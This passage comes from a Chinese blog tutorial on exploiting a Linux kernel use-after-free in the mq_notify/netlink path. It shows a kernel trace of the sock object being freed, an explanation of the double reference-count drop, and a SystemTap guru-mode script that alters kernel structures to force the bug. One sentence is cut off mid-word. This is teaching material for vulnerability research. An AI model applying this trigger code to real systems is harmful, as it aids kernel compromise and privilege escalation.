(13560-13560) [netlink] <<== netlink_attachskb = 1
(13560-13560) [vfs] ==>> fget (fd=0x3)
(13560-13560) [vfs] <<== fget = 0
(13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
(13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)
(13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- freeing "sock"
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] <<== __sk_free =
(13560-13560) [sk] <<== sk_free =
(13560-13560) [netlink] <<== netlink_detachskb
```

sock对象已经被释放，但我们没有看到任何释放后重用崩溃...

为什么没有崩溃

与我们一开始的打算不同，netlink_sock对象由netlink_detachskb()释放。原因是我们没有调用close()（只将FDT置为NULL）。也就是说，文件对象实际上没有被释放，因

但没关系，我们在这里想验证的是，引用计数减少了两次（一次是netlink_attachskb()，另一次是netlink_detachskb()）。

在正常的操作过程中（调用close()），引用计数将会额外减一并且在netlink_detachskb()中将会UAF。为了获得更好的控制，UAF发生的时期将会被延后（参见第2部分）。

最终System Tap脚本

最后，从内核空间触发漏洞的整个system tap脚本可以简化为：

```
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}

function force_trigger:long (arg_sock:long)
%{
 struct sock *sk = (void*) STAP_ARG_arg_sock;
 sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

 struct netlink_sock *nlk = (void*) sk;
 nlk->state |= 1;   // enter the netlink_attachskb() retry path

 struct files_struct *files = current->files;
 struct fdtable *fdt = files_fdtable(files);
 fdt->fd[3] = NULL; // makes the second call to fget() fails
%}

probe kernel.function ("netlink_attachskb")
{
 if (execname() == "exploit")
 {
   force_trigger($sk);
 }
}
```

点击收藏 | 0 关注 | 1

上一篇：Linux病毒技术之Silvio填充感染 下一篇：使用两步验证（2FA）保护你的SSH连接

1. 0 条回复

- 动动手指，沙发就是你的了！